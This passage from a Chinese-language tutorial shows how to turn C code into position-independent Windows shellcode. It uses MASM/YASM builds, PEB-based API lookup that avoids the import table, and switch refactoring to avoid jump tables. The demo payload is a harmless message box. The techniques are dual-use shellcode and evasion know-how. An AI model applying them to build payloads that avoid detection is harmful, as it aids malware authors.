<span class="nf">main</span><span class="w"> </span><span class="no">endp</span>
<span class="nf">end</span>
</code></pre></div>
<p>使用VS自带的ml.exe和link.exe进行编译和链接,首先要使用<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/125420321?spm=1001.2014.3001.5501">vcvars32.bat</a>初始化环境变量</p>
<p>编译:</p>
<div class="highlight"><pre><span></span><code>ml.exe /c demo.asm
</code></pre></div>
<p>链接:</p>
<div class="highlight"><pre><span></span><code>link.exe demo.obj /subsystem:console /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:main /out:demo32_masm.exe
</code></pre></div>
<p><img alt="image-20221010160056702" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/DsMnpNXssh.jpg"></p>
<p>MASM是Windows默认的汇编器,但是<a href="https://yasm.tortall.net/Download.html">YASM</a>(NASM的继任者)才是最好的选择,它是一个免费、独立的多平台汇编器,它可以被用来像MASM一样创建PE文件,YASM的语法稍有不同,请看下面的演示代码:</p>
<div class="highlight"><pre><span></span><code><span class="nf">bits</span><span class="w"> </span><span class="mi">32</span>
<span class="nf">extern</span><span class="w"> </span><span class="no">_MessageBoxA@16</span><span class="p">:</span><span class="no">proc</span>
<span class="nf">extern</span><span class="w"> </span><span class="no">_ExitProcess@4</span><span class="p">:</span><span class="no">proc</span>
<span class="na">.data</span>
<span class="nf">msg_title</span><span class="w"> </span><span class="no">db</span><span class="w"> </span><span class="err">"</span><span class="no">Demo</span><span class="p">!</span><span class="err">"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span>
<span class="nf">msg_content</span><span class="w"> </span><span class="no">db</span><span class="w"> </span><span class="err">"</span><span class="no">Hello</span><span class="w"> </span><span class="no">World</span><span class="p">!</span><span class="err">"</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span>
<span class="nf">global</span><span class="w"> </span><span class="no">main</span>
<span class="nl">main:</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">msg_title</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="no">msg_content</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">_MessageBoxA@16</span>
<span class="w"> </span><span class="nf">push</span><span class="w"> </span><span class="mi">0</span>
<span class="w"> </span><span class="nf">call</span><span class="w"> </span><span class="no">_ExitProcess@4</span>
</code></pre></div>
<p>编译</p>
<div class="highlight"><pre><span></span><code>yasm-1.3.0-win32.exe -f win32 demo.asm -o demo32.obj
</code></pre></div>
<p>链接方法和上面的一样</p>
<p>上面这两段汇编代码都是不能直接生成shellcode的,因为他们都使用了外部依赖(extern),并没有遵循shellcode准则,不过我们可以通过移除这些依赖来生成shellcode</p>
<p>后面我们将使用MASM,因为如果我们想要使用VS来编译C代码,那么编译生成的汇编代码就是MASM语法,然后我们要做的就是从最终生成的PE文件中把代码挖出来</p>
<h1>逐步编译C项目</h1>
<p>现在大家都直接使用IDE来编译自己的代码了,这样一来,整个的编译过程对我们来说就是透明的了,默认情况下,输出就是一个PE文件:Windows专用的本地可执行文件格式</p>
<p>但是,有些时候将这个过程分成数个步骤还是有用的,这样我们可以拥有更大的控制权</p>
<p>让我们先来复习一下C/C++代码的编译过程</p>
<p><img alt="image-20221010193443461" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/cDKRpIjRtu.jpg"></p>
<p>和汇编代码进行比较</p>
<p><img alt="image-20221010193522301" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/dNfnpZeVEj.jpg"></p>
<p>相比于汇编代码,我们可以先使用C语言来编写代码,然后让编译器帮我们生成对应的汇编代码,之后再根据shellcode的准则来对生成的汇编代码进行适当的修改,相关内容将会在后面的章节中更详细地进行介绍</p>
<p>以下是一段样例代码</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">msg_title</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"Demo!"</span><span class="p">;</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">msg_content</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"Hello World!"</span><span class="p">;</span>
<span class="w"> </span><span class="n">MessageBoxA</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">msg_title</span><span class="p">,</span><span class="w"> </span><span class="n">msg_content</span><span class="p">,</span><span class="w"> </span><span class="n">MB_OK</span><span class="p">);</span>
<span class="w"> </span><span class="n">ExitProcess</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>下面我们通过命令行的方式来生成exe,进行之前需要先运行<code>vcvars32.bat</code>,如果你想要生成64位的exe文件,那么就要先运行<code>vcvars64.bat</code></p>
<p>编译链接:</p>
<div class="highlight"><pre><span></span><code>cl /c demo.cpp
link demo.obj /defaultlib:user32.lib /out:demo_cpp.exe
</code></pre></div>
<p>其中链接时我们可以使用第三方的链接器,比如<a href="https://github.com/runestubbe/Crinkler">crinkler</a>,可以用来进行混淆等操作</p>
<p>如果在编译的时候加上一个<code>/FA</code>选项,那么编译器会在当前目录生成一个同名的asm文件(MASM语法),然后你可以再使用该asm文件编译出obj文件</p>
<p>这样我们就拥有了修改汇编代码的机会,而不是从0开始全部用汇编语言编写代码</p>
<h1>从C语言项目到shellcode</h1>
<h2>核心理念</h2>
<p>我们创建shellcodes的方法就是利用C编译器可以从C代码生成汇编代码的特性,它包含了如下几个基础步骤:</p>
<ul>
<li>准备一个C项目</li>
<li>将该项目重构,所有的导入函数都通过PEB查找的方式进行(移除导入表中的依赖)</li>
<li>使用C编译器生成汇编代码:<code>cl /c /FA /GS- <file_name>.cpp</code></li>
<li>重构汇编代码,以使得其遵循shellcode的准则(移除其他剩余的依赖,将字符串和变量等改为内联)</li>
<li>将汇编代码进行编译:<code>cl /c file.asm</code></li>
<li>链接为PE文件,测试运行是否正常</li>
<li>获取.text中的代码,可以使用<a href="https://github.com/wqreytuk/pe_parser#2022-10-02-%E6%9B%B4%E6%96%B0">pe-parser</a>,这个提取出来的代码就是shellcode</li>
</ul>
<p>C编译器生成的汇编代码有时候并不是100%正确的,有时需要手动进行修改</p>
<h2>准备C项目</h2>
<p>当我们为shellcode准备C项目的时候,我们需要遵守以下几个规则: </p>
<ul>
<li>不要直接使用导入表</li>
<li>总是通过PEB获取API地址</li>
<li>不要使用任何静态库</li>
<li>只是用局部变量,不要用全局变量和静态变量(否则它们会被存储到另外的section中从而破坏代码的位置无关性)</li>
<li>使用基于栈的字符串(或者在生成的汇编代码中内联)</li>
</ul>
<p><a href="http://144.34.164.217/agsduiagsdaigiada.html">基于栈的字符串转换</a></p>
<p>下面进行演示,我们的代码会弹个窗</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">MessageBoxW</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Hello World!"</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Demo!"</span><span class="p">,</span><span class="w"> </span><span class="n">MB_OK</span><span class="p">);</span>
<span class="w"> </span><span class="n">ExitProcess</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<h3>准备导入函数</h3>
<p>作为准备工作的第一步,我们需要将所有用到的导入函数进行动态加载,在演示代码中,有两个导入函数:MessageBoxW(<code>user32.dll</code>)和ExitProcess(<code>kernel32.dll</code>)</p>
<p>一般情况下,如果我们想要动态加载这些导入函数并避免使用导入表,我们需要对代码进行如下的重构</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span>
<span class="p">{</span>
<span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="n">u32_dll</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">);</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="w"> </span><span class="n">_MessageBoxW</span><span class="p">)(</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">HWND</span><span class="w"> </span><span class="n">hWnd</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">LPCWSTR</span><span class="w"> </span><span class="n">lpText</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">LPCWSTR</span><span class="w"> </span><span class="n">lpCaption</span><span class="p">,</span>
<span class="w"> </span><span class="n">_in_</span><span class="w"> </span><span class="n">UINT</span><span class="w"> </span><span class="n">uType</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span><span class="p">)(</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">HWND</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">LPCWSTR</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">LPCWSTR</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">UINT</span><span class="p">))</span><span class="w"> </span><span class="n">GetProcAddress</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">u32_dll</span><span class="p">,</span><span class="w"> </span><span class="s">"MessageBoxW"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="n">_MessageBoxW</span><span class="o">==</span><span class="nb">NULL</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span>
<span class="w"> </span><span class="n">_MessageBoxW</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Hello World!"</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Demo!"</span><span class="p">,</span><span class="w"> </span><span class="n">MB_OK</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>但是上面的代码中依然还有两个依赖:<code>LoadLibraryA</code>和<code>GetProcAddress</code>,这两个函数需要通过PEB查找来解析出来,这个工作可以通过之前的<code>peb_lookup.h</code>完成,下面是完整的<a href="https://github.com/hasherezade/masm_shc/blob/master/demos/popup.cpp">popup.cpp</a>:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><Windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">"peb_lookup.h"</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="n">base</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_module_by_name</span><span class="p">((</span><span class="k">const</span><span class="w"> </span><span class="n">LPWSTR</span><span class="p">)</span><span class="sa">L</span><span class="s">"kernel32.dll"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">base</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="n">load_lib</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_func_by_name</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">base</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="s">"LoadLibraryA"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">load_lib</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="n">get_proc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_func_by_name</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">base</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">LPSTR</span><span class="p">)</span><span class="s">"GetProcAddress"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">get_proc</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">3</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">_LoadLibraryA</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">reinterpret_cast</span><span class="o"><</span><span class="k">decltype</span><span class="p">(</span><span class="o">&</span><span class="n">LoadLibraryA</span><span class="p">)</span><span class="o">></span><span class="p">(</span><span class="n">load_lib</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">_GetProcAddress</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">reinterpret_cast</span><span class="o"><</span><span class="k">decltype</span><span class="p">(</span><span class="o">&</span><span class="n">GetProcAddress</span><span class="p">)</span><span class="o">></span><span class="p">(</span><span class="n">get_proc</span><span class="p">);</span>
<span class="w"> </span><span class="n">LPVOID</span><span class="w"> </span><span class="n">u32_dll</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">_LoadLibraryA</span><span class="p">(</span><span class="s">"user32.dll"</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">_MessageBoxW</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">reinterpret_cast</span><span class="o"><</span><span class="k">decltype</span><span class="p">(</span><span class="o">&</span><span class="n">MessageBoxW</span><span class="p">)</span><span class="o">></span><span class="p">(</span><span class="n">_GetProcAddress</span><span class="p">((</span><span class="n">HMODULE</span><span class="p">)</span><span class="n">u32_dll</span><span class="p">,</span><span class="w"> </span><span class="s">"MessageBoxW"</span><span class="p">));</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">_MessageBoxW</span><span class="p">)</span><span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span>
<span class="w"> </span><span class="n">_MessageBoxW</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Hello World!"</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"Demo!"</span><span class="p">,</span><span class="w"> </span><span class="n">MB_OK</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<h3>跳转表</h3>
<p>如果我们在代码中使用了switch语句,那么在编译之后生成的汇编代码中可能会产生一个<a href="https://stackoverflow.com/questions/17061967/c-switch-and-jump-tables">跳转表</a>,这个是由编译器优化产生的,在一个普通的可执行文件中,跳转表很有用,但是对于shellcode,我们必须谨慎处理,因为它会破坏shellcode的位置无关性:跳转表需要重定位</p>
<p>汇编语言中的跳转表:</p>
<p><img alt="image-20221011082719783" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tanQaMHGcB.jpg"></p>
<p>是否生成跳转表由编译器决定,低于4种情况的switch语句通常不会生成跳转表,因此我们必须重构C代码避免出现过长的switch语句,通常有两种处理方式,一种是拆分为多个函数,另一种是拆分为多个if-else语句</p>
<p>示例:</p>
<p>下面这段代码生成的汇编代码中将会包含跳转表</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="cpf"><stdio.h></span>
<span class="kt">bool</span><span class="w"> </span><span class="nf">switch_state</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">resp</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">0</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'9'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'Y'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'Y'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'3'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'E'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'E'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'5'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'S'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'S'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'8'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'D'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'D'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'4'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'O'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'O'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'7'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'N'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'N'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'!'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'E'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">resp</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"caaonima"</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">buf</span><span class="p">[]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"nimacao"</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">switch_state</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="n">resp</span><span class="p">));</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>生成汇编代码:</p>
<div class="highlight"><pre><span></span><code>cl /c /FA /GS- demo.cpp
</code></pre></div>
<p>可以看到有跳转表被生成</p>
<p><img alt="image-20221011083702742" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/gggRKIGEhV.jpg"></p>
<p>如果我们将原来代码中的switch语句截成几个代码块,就可以解决这个问题</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="cpf"><stdio.h></span>
<span class="kt">bool</span><span class="w"> </span><span class="nf">switch_state</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">buf</span><span class="p">,</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">resp</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">0</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'9'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'Y'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'Y'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'3'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'E'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'E'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'5'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'S'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'S'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'8'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'D'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'D'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'4'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'O'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'O'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'7'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'N'</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="sc">'N'</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="sc">'!'</span><span class="p">)</span><span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="n">resp</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sc">'E'</span><span class="p">;</span>
